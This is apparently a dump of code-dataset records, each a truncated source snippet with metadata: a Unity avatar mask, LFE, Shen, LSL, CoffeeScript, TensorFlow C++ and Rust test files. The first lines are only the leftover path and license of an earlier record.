caidao-shell/a.asp
[ "MIT" ]
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!1011 &101100000 AvatarMask: m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 0} m_Name: heMask m_Mask: 01000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000 m_Elements: - m_P...
Mask
3
VN0/UNION-OpenSource-MOBA
Project/Assets/Animator/heMask.mask
[ "Apache-2.0" ]
(defmodule test_inc (export (a 3))) (include-file "test_rec_defs.lfe") (defun a (x y r) (let ((c (make-point x y))) (make-circle c r)))
LFE
4
haetze/lfe
dev/test_inc.lfe
[ "Apache-2.0" ]
\* Copyright (c) 2010-2015, Mark Tarver All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the foll...
Shen
4
nondejus/shen-go
ShenOSKernel-22.2/sources/dict.shen
[ "BSD-3-Clause" ]
default { state_entry() { llSay( 0, "Hello, Avatar! Touch to launch me straight up."); llSetStatus( 1, TRUE ); // turn on physics. } touch_start(integer total_number) { vector start_color = llGetColor( ALL_SIDES ); // save current color. llSetColor( < 1.0, 0.0, 0.0 > , AL...
LSL
4
MandarinkaTasty/OpenSim
bin/assets/ScriptsAssetSet/KanEd-Test08.lsl
[ "BSD-3-Clause" ]
""" A CoffeeScript sample. """ class Vehicle constructor: (@name) => drive: () => alert "Drive #{@name}" class Car extends Vehicle drive: () => alert "Driving #{@name}" c = new Car "Volvo" while onTheRoad() c.drive() vehicles = (new Car for i in [1..100]) startRace = (vehicles) -> [vehicle.drive(...
CoffeeScript
4
sbj42/vscode
extensions/vscode-colorize-tests/test/colorize-fixtures/test.coffee
[ "MIT" ]
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or a...
C++
4
yage99/tensorflow
tensorflow/compiler/tf2xla/kernels/ensure_shape_op.cc
[ "Apache-2.0" ]
// run-pass fn foo<'a, 'b>(x: &'a &'b Option<u32>) -> &'a u32 { let x: &'a &'a Option<u32> = x; match x { Some(r) => { let _: &u32 = r; r }, &None => panic!(), } } pub fn main() { let x = Some(5); foo(&&x); }
Rust
3
Eric-Arellano/rust
src/test/ui/rfcs/rfc-2005-default-binding-mode/ref-region.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]